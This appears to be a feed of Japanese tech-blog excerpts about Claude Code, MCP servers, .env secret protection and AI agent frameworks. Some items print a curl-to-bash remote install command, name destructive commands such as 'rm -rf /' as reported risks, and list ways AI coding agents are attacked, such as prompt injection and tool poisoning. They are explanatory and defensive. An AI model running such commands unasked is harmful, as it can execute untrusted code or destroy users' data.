sabaaji0113氏のポストが、労務法令の条文と通達を Claude に提供する MCP サーバー「labor-law-mcp」の公開を告知し、804いいね、143RT、937ブックマーク、約63,000表示と大きな反響を呼んでいます。

税務より苦労した！！労務MCPサーバー「labor-law-mcp」を公開しました。Claudeが労務の質問に答えるとき、条文や通達のハルシネーションを防ぐためのMCPサーバーです。 — sabaaji0113

このプロジェクトが注目される理由は3つあります。第一に、法律というハルシネーションが許されない領域で一次情報への直接アクセスを実現していること。第二に、先行する税法版（tax-law-mcp）のアーキテクチャを応用し、取得できない情報を「ごまかさない」設計を導入したこと。第三に、社労士・会計事務所という明確な実務ユーザーを想定していることです。

labor-law-mcp の全体像

基本情報

項目	内容
開発者	kentaroajisaka
GitHub	kentaroajisaka/labor-law-mcp
npm	labor-law-mcp
ライセンス	MIT
言語	TypeScript 99.4%
Stars	35
対応法令数	45法令

6つのツール

ツール	データソース	機能
`get_law`	e-Gov 法令API v2	法令名 + 条番号で条文を Markdown 形式で取得
`search_law`	e-Gov 法令API v2	キーワードで法令を横断検索
`search_mhlw_tsutatsu`	厚労省法令等DB	厚労省通達をキーワード検索
`get_mhlw_tsutatsu`	厚労省法令等DB	通達本文を HTML→テキスト変換して取得
`search_jaish_tsutatsu`	安全衛生情報センター	安衛法関連通達を検索
`get_jaish_tsutatsu`	安全衛生情報センター	安衛通達本文を取得

対応法令（45法令・6カテゴリ）

カテゴリ	主要法令
労働基準	労働基準法、労働契約法、最低賃金法、同施行令・規則
労働安全衛生	労働安全衛生法、じん肺法、同施行令・規則
労働保険	労災保険法、雇用保険法、労働保険料徴収法
雇用対策	職業安定法、労働者派遣法、障害者雇用促進法
均等・ワークライフバランス	育児介護休業法、男女雇用機会均等法、パート有期法
社会保険	健康保険法、厚生年金保険法、国民年金法、介護保険法

略称にも対応しています。「労基法」「安衛法」「育介法」「健保法」「パワハラ防止法」など12の略称で自然に質問できます。

macOS Keychain で .env のシークレットを守る — 1Password 不要、無料で実現する AI エージェント時代の秘密管理

Wed, 04 Mar 2026 00:00:00 +0000

macOS Keychain で .env のシークレットを守る — 1Password 不要、無料で実現する AI エージェント時代の秘密管理

前回の記事で、@suin 氏の opx を紹介しました。1Password CLI をラップし、.env に op:// 参照だけを書くことで AI エージェントからシークレットを守るツールです。

しかし、opx には 1Password の契約（月額 $2.99〜）が前提という制約があります。実は macOS には Keychain という強力な秘密管理基盤が標準搭載されており、追加コストなしで同等の「プロセススコープ認証」を実現できます。本記事では、macOS 組み込み機能だけで .env の秘密を守る方法を、ツール選定から実践設定まで解説します。

なぜ macOS Keychain なのか

1Password との比較

項目	1Password + opx	macOS Keychain
コスト	月額 $2.99〜	無料（OS 標準）
インストール	1Password アプリ + CLI + opx	不要（`security` コマンドが標準搭載）
チーム共有	Vault 共有で容易	端末ローカル（共有には別の仕組みが必要）
クラウド同期	1Password クラウド	iCloud Keychain で Apple デバイス間は同期可能
Touch ID	`op run` 時に認証	Keychain アクセス時に認証（設定が必要）
Linux 対応	1Password CLI あり	gnome-keyring / KeePassXC で代替
暗号化	1Password 独自（AES-256-GCM）	macOS Keychain（AES-256）

個人開発やスモールチームなら、macOS Keychain で十分です。チーム全体でシークレットを共有したい場合は 1Password の Vault 共有が優位ですが、「AI エージェントに .env を読まれても安全にする」という目的だけなら無料で実現できます。

Theatre.js — GUI でWebアニメーションを直感的に作れるモーションデザインエディタ

Wed, 04 Mar 2026 00:00:00 +0000

Theatre.js — GUI でWebアニメーションを直感的に作れるモーションデザインエディタ

しば（@shiba_program）氏のポストが、GUI でWebアニメーションを作成できる JavaScript ライブラリ「Theatre.js」を紹介しています。

GUIで直感的にWebアニメーションが作れる「theatre.js」すごいな。編集した内容が即座に反映されるので、これは微調整捗る。GUIで編集できるから、デザイナーに調整任せることもできそう。デモにある高度なものだけでなく、Webサイトで使うシンプルなアニメーションの作成もかなり楽にしてくれるはず — しば（@shiba_program）

投稿が注目している「デザイナーに調整を任せられる」という点は、Theatre.js の設計思想の核心です。コードでアニメーション対象を定義し、ブラウザ上の GUI エディタで動きを調整する。このワークフローにより、エンジニアとデザイナーの協業が自然に成立します。

Theatre.js とは何か

Theatre.js はフィンランド・ヘルシンキの Theatre.js Oy が開発するオープンソースの Web モーションデザインライブラリです。GitHub Stars 12.2k、1,600以上のプロジェクトが依存しており、Web アニメーション領域で確固たる地位を築いています。

基本情報

項目	内容
開発元	Theatre.js Oy（ヘルシンキ）
ライセンス	Apache 2.0（@theatre/core）/ AGPL 3.0（@theatre/studio）
言語	TypeScript 82.6%
GitHub Stars	12.2k
現バージョン	0.5（1.0 開発中）
対応技術	Three.js、React Three Fiber、HTML/SVG、任意のJSライブラリ

2つのパッケージ構成

Theatre.js は2つの独立したパッケージで構成されます。

パッケージ	役割	使用場面
@theatre/core	アニメーション再生エンジン	開発・本番の両方
@theatre/studio	GUI エディタ（シーケンスエディタ、グラフエディタ、プロパティパネル）	開発時のみ

この分離設計が重要です。Studio は開発時にのみ使い、本番ビルドには core だけを含めます。エディタのコードが本番バンドルに入らないため、パフォーマンスへの影響はありません。

4つの基本概念

Theatre.js には、理解すべき4つの概念があります。

AI が書いたコードに「なぜそうなったか」の記録はあるか --- git-memento と AI コード追跡の新標準

Tue, 03 Mar 2026 00:00:00 +0000

AI が書いたコードに「なぜそうなったか」の記録はあるか — git-memento と AI コード追跡の新標準

@SatoshiSsSs 氏が X で投稿した、git-memento に関する解説が注目を集めています。

AIが書いたコードに「なぜそうなったか」の記録はあるか？ Hacker News（HN）で議論になっている git-memento を読み解く

Hacker News での議論では、AI が生成したコードのセッション履歴をコミットに紐づけるべきか否かが活発に議論されています。AI コーディングの普及とともに、「コードは動くが、なぜその実装になったのか誰も分からない」という問題が深刻化しています。本記事では、この問題の構造と、git-memento をはじめとする解決策の技術的な仕組みを掘り下げます。

問題 — AI が書いたコードの「なぜ」が消えている

Vibe Coding 時代の追跡可能性の危機

2026 年、AI コーディングツール（Claude Code、Cursor、GitHub Copilot など）でコードを書くことが日常になりました。しかし、AI が生成したコードには構造的な問題があります。

従来の開発:
開発者が考える → コードを書く → コミットメッセージに意図を記録
→ 「なぜそうしたか」は開発者の頭の中 + コミット履歴にある
AI 駆動開発:
開発者が指示する → AI が考える → AI がコードを書く → コミット
→ 「なぜそうなったか」は AI セッションの中に閉じている
→ セッションが終わると消える

CodeRabbit の分析（2025 年 12 月）によると、AI と共著されたコードは人間が書いたコードと比較して、ロジックエラーが 75% 多く、セキュリティ脆弱性が 2.74 倍多いとされています。問題が発見されたとき、「なぜこの実装になったのか」を遡れなければ、修正の方針すら立てられません。

AnimaWorks — 「AIだけの会社組織」を作る日本発フレームワークの設計思想

Tue, 03 Mar 2026 00:00:00 +0000

AnimaWorks — 「AIだけの会社組織」を作る日本発フレームワークの設計思想

りょうま(@ryoma_nakajima)氏のポストで紹介された「AnimaWorks」が注目を集めています。

日本人が開発している「AIだけで作る会社組織」フレームワークを試してみる。AIに性格を指定するところから始まるのが近未来感すごすぎて好き — りょうま(@ryoma_nakajima)

72,000超の表示、447ブックマークという反響は、「AIエージェントに組織を作らせる」というアイデアへの強い関心を示しています。元になったげれげれ(@medmuspg)氏のポストでは、OpenClawとの違いを「1人の優秀なAI秘書」と「AIだけの会社組織」という対比で説明しています。

本記事では AnimaWorks の設計思想を掘り下げ、マルチエージェントフレームワークの現在地を整理します。

AnimaWorks とは何か

AnimaWorks は「Organization-as-Code」を標榜する、自律型AIエージェントチームのためのオープンソースフレームワークです。Apache License 2.0で公開されており、10,600行以上のPythonコードで構成されています。

コアの思想は明快です。

“Imperfect individuals collaborating through structure outperform any single omniscient actor."（不完全な個体が構造を通じて協力すれば、単一の全知の存在を凌駕する）

項目	内容
開発者	xuiltul（日本人開発者）
言語	Python（10,600行以上）
ライセンス	Apache License 2.0
対応モデル	Claude, GPT-4o, Gemini, Mistral, Ollama 等
実行モード	4種（Claude Agent SDK / Codex SDK / LiteLLM / Basic）
UI	Webダッシュボード + 3Dワークスペース + 音声チャット

OpenClaw との決定的な違い

OpenClaw と AnimaWorks は同じ「AIエージェント」カテゴリに分類されますが、設計思想が根本的に異なります。

観点	OpenClaw	AnimaWorks
設計思想	1人の優秀なAI秘書	AIだけの会社組織
エージェント数	基本は1体（拡張でマルチ可）	最初からマルチエージェント前提
関係性	ユーザーとエージェントの1対1	上司・部下の階層構造
記憶	コンテキストウィンドウ依存	神経科学に着想を得た永続記憶
通信	ユーザーへの応答	エージェント間の非同期メッセージング
カプセル化	なし（透過的）	各エージェントの内部は他から不可視
開発元	Peter Steinberger（オーストリア、現OpenAI）	xuiltul（日本）

この違いは単なる機能差ではなく、組織論に基づく設計かどうかの差です。AnimaWorks は「不完全な個体の協力」を前提に設計されており、現実の企業組織と同じく、情報の非対称性やコミュニケーションコストを意図的に組み込んでいます。

Claude Code / MCP を安全に使うための実践ガイド — settings.json の多層防御と deny の落とし穴

Tue, 03 Mar 2026 00:00:00 +0000

Claude Code / MCP を安全に使うための実践ガイド — settings.json の多層防御と deny の落とし穴

セキュリティ研究者のyousukezan氏（バグバウンティプログラムでランク1位受賞歴あり）が紹介した Zenn 記事「Claude Code / MCP を安全に使うための実践ガイド」が注目を集めています。165いいね、161ブックマークという反響は、Claude Code のセキュリティ設定に対する実務者の強い関心を示しています。

本記事では元記事の内容を掘り下げつつ、公式ドキュメントや GitHub Issues の情報を加えて、実務で本当に機能するセキュリティ設定を整理します。

背景 — 8桁後半の被害事例

この記事が書かれた背景には、AI コーディングツール経由で Google Ads の MCC が乗っ取られ、8桁後半の被害が発生した事例があります。報告された4つの攻撃ベクターは全て Claude Code / MCP の利用シーンで再現可能です。

攻撃ベクター	Claude Code での該当リスク
間接プロンプトインジェクション	Webページに埋め込まれた隠し指示をAIが実行
プロンプトサプライチェーン攻撃	外部から取得した CLAUDE.md / settings.json / .mcp.json の改ざん
MCP権限悪用（Tool Poisoning）	許可済みMCPツールの悪意ある利用
クレデンシャルリーク	トークンやAPIキーのログ・git履歴への残存

最も重要な3つの設定

元記事が推奨する最小限の設定は3つです。

1. bypassPermissions モードの無効化

1
2
3
4
5


{
 "permissions": {
 "disableBypassPermissionsMode": "disable"
 }
}

--dangerously-skip-permissions フラグは全ての承認プロンプトをスキップします。公式ドキュメントによると、このモードではClaude がファイルの削除、破壊的なコマンドの実行、不可逆な変更を承認なしで行えます。disableBypassPermissionsMode: "disable" で組織全体でこのモードを禁止できます。

dotenvx・lkr・aws-vault・1Password CLI — .env 代替ツール4種の選び方とベストプラクティス

Tue, 03 Mar 2026 00:00:00 +0000

dotenvx・lkr・aws-vault・1Password CLI — .env 代替ツール4種の選び方とベストプラクティス

AI エージェントが .env ファイルを読み取るリスクが現実のものとなり、平文の .env を代替するツールが続々と登場しています。本シリーズでは aws-vault、lkr、dotenvx + 1Password CLI をそれぞれ解説してきました。

しかし「結局どれを使えばいいのか」という疑問が残ります。本記事では、4つのツールの守備範囲・強み・限界を比較し、チーム構成や開発環境に応じた選択指針を提示します。

4ツールの守備範囲

最も重要な違いは管理対象の範囲です。

ツール	管理対象	DB接続	SaaS キー	LLM API キー	AWS 認証
aws-vault	AWS 認証情報のみ	-	-	-	対応
lkr	LLM API キー（8社）	-	-	対応	-
dotenvx	.env に書ける全て	対応	対応	対応	対応
1Password CLI	全種類	対応	対応	対応	対応

aws-vault と lkr は特定領域に特化したツールです。.env に含まれる全てのシークレットをカバーするには、dotenvx か 1Password CLI が必要になります。

各ツールの強みと弱み

aws-vault

1

$ aws-vault exec dev -- python manage.py runserver

強み	弱み
STS 一時認証（15分〜で自動失効）	AWS 認証情報しか管理できない
AssumeRole による権限分離	macOS 限定（Keychain 依存）
MFA 統合	チーム共有不可
漏洩しても短時間で無効化される

最大の強みは STS による一時認証です。他のどのツールも「漏洩しても自動で失効する」認証情報は提供できません。aws-vault が発行する一時認証情報は、仮に AI エージェントに読まれても最短15分で失効します。

個人のファインチューニング済みモデルを P2P で相互利用する --- 分散 MoE で「みんなの AI」は成立するか

Tue, 03 Mar 2026 00:00:00 +0000

個人のファインチューニング済みモデルを P2P で相互利用する — 分散 MoE で「みんなの AI」は成立するか

先の記事「オープンソース AI は『無料』でも『民主化』でもない」で取り上げた Dario Amodei の指摘 — 推論には高価な計算資源が必要であり、重みの公開だけでは真の民主化にならない — に対して、興味深い反論の構想があります。

Qwen 3.5 のような軽量モデルを各個人が自分のドメインでファインチューニングし、P2P ネットワークで互いのエージェントに相互利用させれば、大規模 LLM と同等の仕組みを分散的に構築できるのではないか?

この構想を技術的に検証します。

構想の全体像 — 分散 Mixture of Experts

この発想は、商用 LLM の内部で使われている Mixture of Experts（MoE） アーキテクチャを、P2P ネットワーク上に展開したものと捉えることができます。

個人A: Qwen 3.5 (法律ドメインでファインチューニング)
個人B: Qwen 3.5 (医療ドメインでファインチューニング)
個人C: Qwen 3.5 (プログラミング特化)
個人D: Qwen 3.5 (会計・税務特化)
個人E: Qwen 3.5 (マーケティング特化)
↓
P2P ルーティングレイヤー（質問の性質に応じて最適なノードを選択）
↓
エージェントが複数の専門モデルを横断的に活用

商用 LLM が「1 つの巨大なモデル内でエキスパートを切り替える」のに対し、この構想は「ネットワーク上の独立した専門モデルを切り替える」アプローチです。

なぜ今この構想が現実味を帯びているのか

3 つの技術的な進歩が、この構想を「空想」から「検討に値する」レベルに引き上げています。

AIエージェントの勝負所は「モデル性能」ではなく「ハーネス設計」にある

Mon, 02 Mar 2026 00:00:00 +0000

AIエージェントの勝負所は「モデル性能」ではなく「ハーネス設計」にある

はじめに

2026年に入り、AIエージェント開発の世界で急速に広まっている概念がある。「Agent Harness（エージェント・ハーネス）」 だ。

LLMの性能は日々向上し、Claude Opus 4.6、GPT-5、Gemini 2.5 Pro といったモデルが次々とリリースされている。しかし、現場のエンジニアたちは気づき始めている——同じモデルを使っていても、エージェントの体感品質はまるで別物になるということに。その差を生むのがモデルの「外側」にある仕組み、すなわちAgent Harnessである。

この記事では、Philipp SchmidのAgent Harness論、Lance MartinのContext Engineering解説、そしてManusの実装例を手がかりに、エージェント開発の新しいパラダイムを整理する。

Agent Harness・AIエージェント・LLM の関係

まず、3つの概念の関係を整理する。混乱しやすいのは、これらが入れ子構造になっているからだ。

レイヤー構造

graph TB
subgraph UserLayer["ユーザー"]
U["指示を出す / 結果を受け取る"]
end
subgraph AgentLayer["AIエージェント = アプリケーション層"]
A1["ユーザー固有のロジック・目的"]
A2["例: コードアシスタント、リサーチエージェント、カスタマーサポートBot"]
end
subgraph HarnessLayer["Agent Harness = OS層"]
H1["コンテキスト管理 / ツール実行 / 権限制御"]
H2["メモリ管理 / 再試行 / フォールバック / 承認ポイント"]
end
subgraph LLMLayer["LLM = CPU層"]
L1["言語理解・推論・生成"]
L2["例: Claude Opus 4.6, GPT-5, Gemini"]
end
UserLayer --> AgentLayer
AgentLayer --> HarnessLayer
HarnessLayer --> LLMLayer

Philipp Schmidのコンピュータの比喩を使うと：

Claude Ads で広告運用を186項目自動監査 --- Claude Code スキルが広告代理店の仕事を奪い始めた

Mon, 02 Mar 2026 00:00:00 +0000

Claude Ads で広告運用を186項目自動監査 — Claude Code スキルが広告代理店の仕事を奪い始めた

@ratekomaru 氏が X で紹介した「Claude Ads」が話題になっています。

Claudeやばすぎだろwwww ピンポイントで業界潰して回ってる。無料でGoogle・Meta・YouTube・LinkedIn・TikTok・Microsoft Adsなど186項目にわたるチェック機能を備えたClaude Code向けの包括的な有料広告監査・最適化スキル「Claude Ads」

12 万超のインプレッション、1,700 以上のいいねという反響は、「AI が広告運用の専門職を代替する」という予感を多くの人が共有している証拠でしょう。本記事では Claude Ads の仕組みを掘り下げつつ、広告業界に起きている構造変化を整理します。

Claude Ads とは何か

Claude Ads は、Claude Code 向けに作られたオープンソースの広告監査・最適化スキルです。MIT ライセンスで公開されており、インストールは1コマンドで完了します。

1

curl -fsSL https://raw.githubusercontent.com/AgriciDaniel/claude-ads/main/install.sh | bash

主な特徴は以下の通りです。

項目	内容
対応プラットフォーム	Google Ads, Meta Ads, YouTube Ads, LinkedIn Ads, TikTok Ads, Microsoft Ads
チェック項目数	190（Google 74, Meta 46, LinkedIn 25, TikTok 25, Microsoft 20）
業種テンプレート	SaaS, EC, ローカルサービス, B2B, モバイルアプリ, 不動産, ヘルスケア, 金融など 11 種
並列実行	6 つのサブエージェントが同時にプラットフォーム別監査を実行
ライセンス	MIT

アーキテクチャ — サブエージェント並列実行

Claude Ads の設計はシンプルですが効果的です。

Claude Code の「処理」と「ドメイン知識」をレイヤー分離する設計術

Mon, 02 Mar 2026 00:00:00 +0000

Claude Code の「処理」と「ドメイン知識」をレイヤー分離する設計術 — スキルが複利で効く構造をつくる

gura 氏の投稿が、Claude Code を使った PM 業務の知見を共有しています。2 ヶ月間の実運用で最も効いた設計判断は、Skill（処理レイヤー）と CLAUDE.md（ドメイン知識レイヤー）の分離だったとのことです。この考え方は、Claude Code の公式アーキテクチャとも一致する設計パターンです。

問題：なぜ全部入りの設定は破綻するのか

Claude Code を使い始めると、多くの人が CLAUDE.md にあらゆる情報を詰め込みます。プロジェクトの規約、処理手順、ドメイン知識、スタイルガイド。しかしこの「全部入り」アプローチには構造的な問題があります。

コンテキスト汚染: CLAUDE.md はセッション開始時に全文がロードされるため、情報量が増えるほどトークンを圧迫します
Lost in the Middle: 長大なコンテキストの中間部分が軽視される現象が発生します
再利用不能: プロジェクト固有の知識と汎用的な処理手順が混在し、別プロジェクトへの横展開ができません

SO Technologies 開発者ブログの分析によると、全部入り CLAUDE.md はセッション開始時にコンテキストの 40〜50% を占有するケースもあったと報告されています。

2 つのレイヤーを分離する

gura 氏が提唱するのは、明確な 2 層構造です。

Skill = 処理レイヤー

「どのフォルダから何を読んで、どう加工して、どこに出すか」を定義する

Skill は入力と出力が明確な、小さな処理単位です。

Skill の例	入力	出力
議事録の文字起こし	音声データ	テキスト議事録
外部向け議事録変換	内部議事録	フィルタリング済み議事録
Slack 共有	文書	Slack メッセージ
レポート生成	各種データ	フォーマット済みレポート

Skill は どのプロジェクトでも処理の骨格は同じ です。ファイルの場所は .claude/skills/<skill-name>/SKILL.md に配置し、YAML フロントマターで名前と説明を記述します。

OpenClaw で 13 体の AI チームを組織する — 低スペック PC で営業・SNS 運用を完全自動化

Mon, 02 Mar 2026 00:00:00 +0000

OpenClaw で 13 体の AI チームを組織する — 低スペック PC で営業・SNS 運用を完全自動化

@gagarotai200（ガガロットAI）さんのポストが話題になっています。OpenClaw を使って 13 体の AI エージェントを組織し、営業・SNS 運用・分析・アポ取りまで完全自動化しているリアルな環境を公開した内容です。16 万回以上の閲覧、880 件のブックマークを集めており、実運用例の少ない OpenClaw 界隈で注目を集めました。

『Open Claw』って実際の環境を出してる人マジで少ないのでオラの13体のAI組織で「営業」「SNS運用」「分析」「アポ取り」など完全自動で行わせてる実際のリアルな環境を3日間限定で全て公開した。

OpenClaw とは何か

OpenClaw は、PSPDFKit の創業者 Peter Steinberger 氏が 2025 年 11 月に公開したオープンソースの AI エージェントフレームワークです。GitHub スター数は 20 万超に達し、2026 年現在で最も注目されている AI エージェント基盤の一つです。

従来のチャットボットとの最大の違いは、質問に答えるだけでなく、タスクを直接実行できる点にあります。ファイル操作、メール送信、スケジュール管理、コード実行など、PC 上でユーザーが行う作業を AI が代行します。

主な特徴

特徴	内容
動作環境	ローカルマシン（Mac, Linux, Windows WSL2）
通信チャネル	Discord, Telegram, Slack, WhatsApp, Signal, iMessage
スキルシステム	ClawHub（3,000+ のコミュニティスキル）
エージェント定義	SOUL.md（自然言語でのパーソナリティ定義）
マルチエージェント	Multi-Agent Routing でエージェント間を分離
コスト	オープンソース（API 従量課金のみ）

13 体 AI チームの構成

ガガロットさんの環境では、MacBook Pro M1 上で 13 体の AI エージェントを階層的に組織しています。

Prompt Request — Pull Requestの次の形：コードを書く時代から「意図を書く時代」へ

Mon, 02 Mar 2026 00:00:00 +0000

Prompt Request — Pull Request の次の形：コードを書く時代から「意図を書く時代」へ

@The_AGI_WAY（ハヤシシュンスケ）氏のポストが話題です。

コードを書く時代から、意図を書く時代へ。GitHub Issue にこう書く。「[auto] ユーザー認証のエラーハンドリングを追加しろ」

引用元は @Shuns_AI 氏が X で公開した長文記事「Prompt Request — Pull Request の次の形」です。AI エージェントが GitHub Issue を読み取り、ブランチ作成から実装・テスト・PR 作成・マージまでを自律的に完了するワークフローを提案しています。92 タスクで 95% の成功率を達成したという実績とともに、「良い Issue を書く能力」こそが開発者の最重要スキルになるという主張が注目を集めました。

「Prompt Request」とは何か

「Prompt Request」は、従来の Pull Request（PR）に代わる新しい開発パラダイムを表す概念です。

項目	Pull Request	Prompt Request
開発者の作業	コードを書いて PR を作成する	GitHub Issue に意図を書く
実装の担い手	人間の開発者	AI エージェント
レビュー	人間がコードレビュー	AI がピアレビュー + 人間が最終確認
マージ	人間が判断してマージ	条件を満たせば自動マージ
所要時間	数時間〜数日	5〜15 分

PR がコードの差分を中心とした「成果物の提出」であるのに対し、Prompt Request は「意図の伝達」が起点になります。開発者が書くのはコードではなく、何をしたいかという自然言語の指示です。

ワークフローの全体像

記事で提案されているワークフローは次のとおりです。

Second Me — AI に「自分の分身」を持つ時代と OpenClaw との本質的な違い

Mon, 02 Mar 2026 00:00:00 +0000

Second Me — AI に「自分の分身」を持つ時代と OpenClaw との本質的な違い

前回の記事で OpenClaw による 13 体 AI チーム構築を紹介しました。OpenClaw では SOUL.md というファイルでエージェントの「人格」を定義しますが、これは本当に「自分の分身」と呼べるのでしょうか。Second Me というプロジェクトは、まったく異なるアプローチで「AI による自分の分身」を実現しようとしています。

SOUL.md の限界 — 「指示書」は「分身」ではない

OpenClaw の SOUL.md は Markdown で書かれた設定ファイルです。エージェントの名前、性格、役割、制約を自然言語で記述します。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


---
name: sales-agent
model: claude-sonnet-4-6
---

あなたは営業チームの一員です。丁寧に話してください。

## 役割
- リード情報の整理と優先順位付け
- 提案メールの下書き作成

これは強力な仕組みですが、あくまで外から与える指示書です。「営業エージェントをこう振る舞わせたい」という設計者の意図を反映したものであり、「この人ならどう考えるか」を再現するものではありません。

# 組織の課題管理から個人のタスク整理と優先度づけへ — Claude Code によるタスクトリアージ

Sun, 01 Mar 2026 00:00:00 +0000

組織の課題管理から個人のタスク整理と優先度づけへ — Claude Code によるタスクトリアージ

各システムの役割と利用者

システム	主な利用者	目的
Backlog	利用者側の責任者・管理部門	利用者が課題を把握・確認するため
Asana	開発会社の PM・経営者	開発会社の責任者が状況を把握するため
GitHub	開発担当者	作業担当者が実装・コード変更を管理するため

3層の責任構造

利用者（顧客） 開発会社（経営・PM） 開発会社（作業担当）
│ │ │
Backlog Asana GitHub
課題確認会で 経営判断・ Issue/PR で
進捗レビュー リソース配分 実装を管理

各システムは異なるステークホルダーが、それぞれの責任範囲で状況を把握するために存在する。これは冗長ではなく、報告先ごとに適切な粒度・視点で情報を提供するための構造。

担当者の課題: 「今何をすべきか」の判断

3システムはどれも他者への報告用であって、担当者が「自分が次に何をやるか」を整理する場所ではない。

システム	読者	自分の優先度確認に使えるか
Backlog	利用者の責任者	△ 顧客視点の優先度であって自分の作業順ではない
Asana	開発会社の経営・PM	△ 経営視点のフィルタがかかっている
GitHub (epm-server)	作業担当者	△ Issue は技術タスク単位で、全体俯瞰しにくい

解決策: Claude Code でタスクトリアージ → プライベートリポジトリの Issue に記録

タスクトリアージ（状況分析と優先度づけ）は Claude Code セッションで行い、結論の記録先は社内プライベートリポジトリの GitHub Issue に置く。

MCP のトークン消費問題 — スキーマ注入で 55,000 トークン、CLI は 35 倍効率的

Sun, 01 Mar 2026 00:00:00 +0000

MCP のトークン消費問題 — スキーマ注入で 55,000 トークン、CLI は 35 倍効率的

Claude Code や OpenClaw で MCP（Model Context Protocol）を使っている方に知ってほしい事実があります。MCP はスキーマ注入だけで数万トークンを消費しており、同じタスクを CLI 経由で実行すると 35 倍効率的 になるケースがあるのです。

@SuguruKun_ai さんのポストと @shinzizm2 さんのポストでこの問題が指摘され、大きな反響を呼びました。

MCP のトークン消費問題とは

スキーマ注入の仕組み

MCP サーバーを接続すると、ツール定義（スキーマ）がシステムプロンプトに注入されます。これは AI が「どんなツールを使えるか」を理解するために必要な情報ですが、この定義自体が大量のトークンを消費します。

MCP サーバー接続時の処理:
1. tools/list でツール一覧を取得
2. 各ツールの名前、説明、パラメータ定義を取得
3. 全てのスキーマをプロンプトに注入 ← ここで大量消費
4. ユーザーの質問に回答

あなたが何も入力する前に、スキーマだけでトークンが消費されているのです。

具体的な数値

MCP サーバー	ツール数	トークン消費量
GitHub MCP サーバー	93 ツール	約 55,000 トークン
Notion サーバー	15+ ツール	約 8,000 トークン
ファイルシステム	10 ツール	約 4,000 トークン
平均的なツール定義	1 ツール	300〜600 トークン

GitHub MCP サーバーの場合、93 ツール分のスキーマには owner、repo、title 等のプロパティ定義、required フィールド、入出力スキーマが全て含まれます。

なぜ AI は同じ紫グラデーションのサイトを作るのか — 分布的収束と Skills による脱却

Sat, 28 Feb 2026 00:00:00 +0000

なぜ AI は同じ紫グラデーションのサイトを作るのか — 分布的収束と Skills による脱却

「AI にランディングページを作らせると、どれも同じに見える」

Inter フォント、白背景に紫グラデーション、角丸カード、3カラムのアイコン付きグリッド — いわゆる AI スロップ（AI slop） と呼ばれるこの現象には、明確な技術的原因があります。

@awakia さんのポストでは、Anthropic が公式ブログで解説した 分布的収束（Distributional Convergence） という概念と、その解決策としての Skills アプローチを紹介しています。差を生むのはモデルの性能ではなく「方向付け」だという指摘は、AI を使ったフロントエンド開発に携わる全ての人にとって重要な示唆です。

分布的収束（Distributional Convergence）とは

LLM はトークンの出現確率に基づいてテキストを生成します。フロントエンドのコード生成においても同じ原理が働きます。

学習データには膨大な数の Web サイトのソースコードが含まれていますが、その中で 最も頻出する「安全な」選択肢 が統計的に支配的です。結果として、指示なしで「ランディングページを作って」と頼むと、学習データの 中央値 に収束した出力が生成されます。

なぜ「紫」なのか

この疑問には具体的な答えがあります。約 5 年前、Tailwind CSS のデフォルトボタンカラーが indigo-500 に設定されました。その後、GitHub 上に大量の Tailwind チュートリアルやサンプルコードが蓄積されました。AI に制約なしで「ランディングページを作って」と指示すると、2019 年から 2024 年にかけてスクレイピングされた Tailwind CSS チュートリアルの中央値を得ることになります。そして、その中央値が紫なのです。

AI スロップの典型パターン

要素	AI スロップの典型
フォント	Inter, Roboto, Arial, system fonts
配色	白背景 + 紫/インディゴグラデーション
レイアウト	3カラムのカード型グリッド
角丸	控えめだが均一な rounded-lg
アニメーション	なし、または最小限
背景	単色（白 or 薄いグレー）

これは「悪い」デザインではなく、統計的に平均的なデザインです。どのプロジェクトにも合いそうで、どのプロジェクトにも合わない — そういう出力になります。

# Claude Code の「YOLO モード」を安全に使う — dangerously-skip-permissions と Docker 活用

Fri, 27 Feb 2026 00:00:00 +0000

Claude Code の「YOLO モード」を安全に使う — dangerously-skip-permissions と Docker 活用

関連ポスト: hiragram リポジトリ: hiragram/claude-docker

はじめに

Claude Code を使っていると、ファイル編集やコマンド実行のたびに「これを実行してもいいですか？」と確認を求められる。安全設計として正しいが、反復的な作業では毎回の承認が煩わしくなる。

そこで登場するのが --dangerously-skip-permissions フラグ。通称「YOLO モード」。YOLO とは “You Only Live Once”（人生は一度きり） の略で、「結果を気にせず、とにかくやってしまえ」というネットスラング。安全確認を一切スキップして全操作をぶっ通しで実行させる様子が、まさに「後先考えずに突っ走る」YOLOの精神そのものであることから、コミュニティでこう呼ばれるようになった。

便利だが、名前の通り危険も伴う。このフラグの本質と、安全に使うための Docker 活用について整理する。

`--dangerously-skip-permissions` とは

Claude Code の全てのパーミッションチェック（権限確認プロンプト）をバイパスし、完全に自律動作させるフラグ。

1

claude --dangerously-skip-permissions

3つの動作モードの比較

モード	挙動	ユーザー介入
通常モード	ファイル変更・コマンド実行のたびに承認を要求	毎回必要
Auto-Accept (Shift+Tab)	UI上で承認を自動化	介入可能
dangerously-skip-permissions	全ての安全ガードレールを除去	一切不要

なぜ「dangerously」と名付けられているのか

Anthropic が意図的に「危険」という語を含めている。実際にリスクは深刻で、以下のような報告がある。

Wolak 事件（2025年10月）: Ubuntu/WSL2 上で Claude Code が rm -rf / を実行し、/bin、/boot、/etc などシステムディレクトリを破壊
eesel AI の調査によると、このフラグ使用者の 32% が意図しないファイル変更を経験、9% が実際のデータ損失を報告

主なリスク

リスク	具体例
破壊的コマンドの無確認実行	`rm -rf`、`git reset --hard`、設定ファイル上書き
スコープクリープ	指定範囲外のファイルを「親切心」で変更・削除
資格情報の漏洩	ホストの全資格情報にアクセス可能な状態
連鎖的被害	1つの誤った解釈が次々と問題を引き起こす

それでも YOLO モードが必要な理由

危険だが、以下のユースケースでは事実上不可欠。

# Claude Code 開発者が教える CLAUDE.md と実践 Tips

Fri, 27 Feb 2026 00:00:00 +0000

Claude Code 開発者が教える CLAUDE.md と実践 Tips

元スレッド（個人セットアップ編）: Boris Cherny @bcherny（53K いいね、780万ビュー）元スレッド（チーム Tips 編）: Boris Cherny @bcherny（49K いいね、850万ビュー）紹介ポスト: すぐる @sugurukun_ai 設定再現リポジトリ: 0xquinto/bcherny-claude

はじめに

Claude Code の開発者である Boris Cherny 氏が、自身のセットアップと Claude Code チーム全体の使い方を X で公開し、合計 10 万いいね以上を獲得して大きな話題になった。

この記事では、2つのスレッドの内容を統合して「CLAUDE.md の育て方」と「Claude Code を最大限活用する 10 の Tips」をまとめる。

CLAUDE.md とは

CLAUDE.md は、Claude Code がセッション開始時に自動的に読み込むプロジェクトの指示書。新入社員に渡すオンボーディングドキュメントのようなもので、以下を記述する:

プロジェクトの技術スタック・アーキテクチャ
コーディング規約・命名ルール
よく使うコマンド
